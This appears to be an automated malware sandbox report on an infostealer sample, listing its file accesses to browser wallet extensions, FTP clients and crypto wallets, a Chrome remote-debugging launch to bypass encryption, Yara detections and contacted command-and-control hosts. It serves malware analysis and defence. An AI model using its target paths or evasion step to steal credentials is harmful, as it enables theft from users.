Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj
Tries to harvest and steal ftp login credentials
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Roaming\FTPGetter
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Roaming\FTPInfo
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Roaming\FTPbox
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Roaming\FTPRush
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\ProgramData\SiteDesigner\3D-FTP
Tries to steal Crypto Currency Wallets
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Roaming\Binance Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB
Searches for user specific document files
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Directory queried: C:\Users\user\Documents\CURQNKVOIX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Directory queried: C:\Users\user\Documents\CURQNKVOIX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Directory queried: C:\Users\user\Documents\WUTJSCBCFX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Directory queried: C:\Users\user\Documents\WUTJSCBCFX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Directory queried: C:\Users\user\Documents\YPSIACHYXW Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Directory queried: C:\Users\user\Documents\YPSIACHYXW Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Directory queried: C:\Users\user\Documents\CURQNKVOIX
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Directory queried: C:\Users\user\Documents\CURQNKVOIX
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Directory queried: C:\Users\user\Documents\GAOBCVIQIJ
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Directory queried: C:\Users\user\Documents\GAOBCVIQIJ
Yara detected Credential Stealer
Source: Yara match File source: 00000009.00000003.2669457783.000000000111C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000003.2641540029.000000000111A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000003.2756243278.00000000015FA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000003.2753258995.00000000015EC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000003.2666933055.000000000111A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000003.2695267530.000000000111E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000003.2642092712.000000000111D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000003.2698732554.000000000112C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000003.2616116061.000000000111E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000003.2614684453.000000000111B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: 22a4a09ee3.exe PID: 6244, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: 8c3bfc0f85.exe PID: 3352, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: 22a4a09ee3.exe PID: 5272, type: MEMORYSTR

Remote Access Functionality
barindex
Attempt to bypass Chrome Application-Bound Encryption
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Yara detected Credential Flusher
Source: Yara match File source: 0000000C.00000003.2703581543.00000000013B3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: 9108c36d20.exe PID: 3260, type: MEMORYSTR
Yara detected Cryptbot
Source: Yara match File source: dump.pcap, type: PCAP
Yara detected LummaC Stealer
Source: Yara match File source: Process Memory Space: 22a4a09ee3.exe PID: 6244, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: 22a4a09ee3.exe PID: 5272, type: MEMORYSTR
Source: Yara match File source: sslproxydump.pcap, type: PCAP
Yara detected Stealc
Source: Yara match File source: 0000000A.00000003.2645427733.0000000004B00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000002.3014909810.0000000000131000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.3029897215.0000000000DFE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000003.2785242798.0000000004AE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.3014657915.0000000000131000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: 8c3bfc0f85.exe PID: 3352, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: 8c3bfc0f85.exe PID: 5852, type: MEMORYSTR
Source: Yara match File source: dump.pcap, type: PCAP
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Code function: 10_2_61E1307A sqlite3_transfer_bindings, 10_2_61E1307A
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Code function: 10_2_61E2D5E6 sqlite3_bind_int64, 10_2_61E2D5E6
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Code function: 10_2_61E2D595 sqlite3_bind_double, 10_2_61E2D595
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Code function: 10_2_61E0B431 sqlite3_clear_bindings, 10_2_61E0B431
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Code function: 10_2_61E037F3 sqlite3_value_frombind, 10_2_61E037F3
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Code function: 10_2_61E2D781 sqlite3_bind_zeroblob64, 10_2_61E2D781
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Code function: 10_2_61E2D714 sqlite3_bind_zeroblob, 10_2_61E2D714
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Code function: 10_2_61E2D68C sqlite3_bind_pointer, 10_2_61E2D68C
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Code function: 10_2_61E2D65B sqlite3_bind_null, 10_2_61E2D65B
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Code function: 10_2_61E2D635 sqlite3_bind_int, 10_2_61E2D635
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Code function: 10_2_61E2D9B0 sqlite3_bind_value, 10_2_61E2D9B0
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Code function: 10_2_61E2D981 sqlite3_bind_text16, 10_2_61E2D981
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Code function: 10_2_61E2D945 sqlite3_bind_text64, 10_2_61E2D945
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Code function: 10_2_61E2D916 sqlite3_bind_text, 10_2_61E2D916
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Code function: 10_2_61E2D8E7 sqlite3_bind_blob64, 10_2_61E2D8E7
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Code function: 10_2_61E038CA sqlite3_bind_parameter_count, 10_2_61E038CA
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Code function: 10_2_61E158CA sqlite3_bind_parameter_index, 10_2_61E158CA
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Code function: 10_2_61E038DC sqlite3_bind_parameter_name, 10_2_61E038DC
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Code function: 10_2_61E2D8B8 sqlite3_bind_blob, 10_2_61E2D8B8
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1561412 Sample: file.exe Startdate: 23/11/2024 Architecture: WINDOWS Score: 100 91 youtube.com 2->91 93 www.google.com 2->93 95 10 other IPs or domains 2->95 123 Suricata IDS alerts for network traffic 2->123 125 Found malware configuration 2->125 127 Antivirus detection for URL or domain 2->127 129 17 other signatures 2->129 9 skotes.exe 4 29 2->9         started        14 file.exe 5 2->14         started        16 22a4a09ee3.exe 2->16         started        18 5 other processes 2->18 signatures3 process4 dnsIp5 117 185.215.113.43, 49753, 49759, 49788 WHOLESALECONNECTIONSNL Portugal 9->117 119 185.215.113.16, 49793, 80 WHOLESALECONNECTIONSNL Portugal 9->119 121 31.41.244.11, 49765, 80 AEROEXPRESS-ASRU Russian Federation 9->121 79 C:\Users\user\AppData\...\99fdcf0a11.exe, PE32 9->79 dropped 81 C:\Users\user\AppData\...\9108c36d20.exe, PE32 9->81 dropped 83 C:\Users\user\AppData\...\8c3bfc0f85.exe, PE32 9->83 dropped 89 7 other malicious files 9->89 dropped 157 Creates multiple autostart registry keys 9->157 159 Hides threads from debuggers 9->159 161 Tries to detect sandboxes / dynamic malware analysis system (registry check) 9->161 20 8c3bfc0f85.exe 24 9->20         started        25 99fdcf0a11.exe 9->25         started        27 22a4a09ee3.exe 9->27         started        35 2 other processes 9->35 85 C:\Users\user\AppData\Local\...\skotes.exe, PE32 14->85 dropped 87 C:\Users\user\...\skotes.exe:Zone.Identifier, ASCII 14->87 dropped 163 Detected unpacking (changes PE section rights) 14->163 165 Tries to evade debugger and weak emulator (self modifying code) 14->165 167 Tries to detect virtualization through RDTSC time measurements 14->167 29 skotes.exe 14->29         started        169 Query firmware table information (likely to detect VMs) 16->169 171 Found many strings related to Crypto-Wallets (likely being stolen) 16->171 173 Tries to harvest and steal ftp login credentials 16->173 177 2 other signatures 16->177 175 Tries to detect process monitoring tools (Task Manager, Process Explorer etc.) 18->175 31 firefox.exe 18->31         started        33 taskkill.exe 18->33         started        file6 signatures7 process8 dnsIp9 97 185.215.113.206 WHOLESALECONNECTIONSNL Portugal 20->97 71 C:\Users\user\AppData\...\softokn3[1].dll, PE32 20->71 dropped 73 C:\Users\user\AppData\Local\...\nss3[1].dll, PE32 20->73 dropped 75 C:\Users\user\AppData\...\mozglue[1].dll, PE32 20->75 dropped 77 9 other files (5 malicious) 20->77 dropped 131 Antivirus detection for dropped file 20->131 133 Multi AV Scanner detection for dropped file 20->133 135 Detected unpacking (changes PE section rights) 20->135 137 Attempt to bypass Chrome Application-Bound Encryption 20->137 37 chrome.exe 20->37         started        139 Tries to detect sandboxes and other dynamic analysis tools (window names) 25->139 141 Machine Learning detection for dropped file 25->141 151 4 other signatures 25->151 99 property-imper.sbs 172.67.162.84 CLOUDFLARENETUS United States 27->99 143 Query firmware table information (likely to detect VMs) 27->143 145 Found many strings related to Crypto-Wallets (likely being stolen) 27->145 153 2 other signatures 27->153 155 3 other signatures 29->155 101 youtube.com 142.250.181.78 GOOGLEUS United States 31->101 103 prod.detectportal.prod.cloudops.mozgcp.net 34.107.221.82 GOOGLEUS United States 31->103 109 2 other IPs or domains 31->109 40 firefox.exe 31->40         started        42 firefox.exe 31->42         started        44 conhost.exe 33->44         started        105 fvtekk5pn.top 34.116.198.130, 49786, 80 GOOGLE-AS-APGoogleAsiaPacificPteLtdSG United States 35->105 107 home.fvtekk5pn.top 35->107 147 Binary is likely a compiled AutoIt script file 35->147 149 Tries to detect process monitoring tools (Task Manager, Process Explorer etc.) 35->149 46 taskkill.exe 35->46         started        48 taskkill.exe 35->48         started        50 taskkill.exe 35->50         started        52 4 other processes 35->52 file10 signatures11 process12 dnsIp13 111 192.168.2.4, 443, 49723, 49724 unknown unknown 37->111 113 239.255.255.250 unknown Reserved 37->113 54 chrome.exe 37->54         started        57 chrome.exe 37->57         started        59 conhost.exe 46->59         started        61 conhost.exe 48->61         started        63 conhost.exe 50->63         started        65 conhost.exe 52->65         started        67 conhost.exe 52->67         started        69 chrome.exe 52->69         started        process14 dnsIp15 115 www.google.com 142.250.181.100 GOOGLEUS United States 54->115
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
185.215.113.43
 unknown Portugal
206894 WHOLESALECONNECTIONSNL true
185.215.113.16
 unknown Portugal
206894 WHOLESALECONNECTIONSNL false
34.107.221.82
 prod.detectportal.prod.cloudops.mozgcp.net United States
15169 GOOGLEUS false
142.250.181.100
 www.google.com United States
15169 GOOGLEUS false
172.67.162.84
 property-imper.sbs United States
13335 CLOUDFLARENETUS false
239.255.255.250
 unknown Reserved
unknown unknown false
185.215.113.206
 unknown Portugal
206894 WHOLESALECONNECTIONSNL true
34.116.198.130
 home.fvtekk5pn.top United States
139070 GOOGLE-AS-APGoogleAsiaPacificPteLtdSG false
35.190.72.216
 prod.classify-client.prod.webservices.mozgcp.net United States
15169 GOOGLEUS false
142.250.181.78
 youtube.com United States
15169 GOOGLEUS false
31.41.244.11
 unknown Russian Federation
61974 AEROEXPRESS-ASRU false

Private

IP
192.168.2.4
127.0.0.1

Contacted Domains

Name IP Active
prod.classify-client.prod.webservices.mozgcp.net 35.190.72.216 true
home.fvtekk5pn.top 34.116.198.130 true
prod.detectportal.prod.cloudops.mozgcp.net 34.107.221.82 true
property-imper.sbs 172.67.162.84 true
www.google.com 142.250.181.100 true
s-part-0035.t-0009.t-msedge.net 13.107.246.63 true
fvtekk5pn.top 34.116.198.130 true
youtube.com 142.250.181.78 true
js.monitor.azure.com unknown unknown
detectportal.firefox.com unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://185.215.113.206/ false
    		high
    http://185.215.113.206/68b591d6548ec281/nss3.dll false
      		high
      http://home.fvtekk5pn.top/LCXOUUtXgrKhKDLYSbzW1732019347 false
        		high
        https://property-imper.sbs/api false
          		high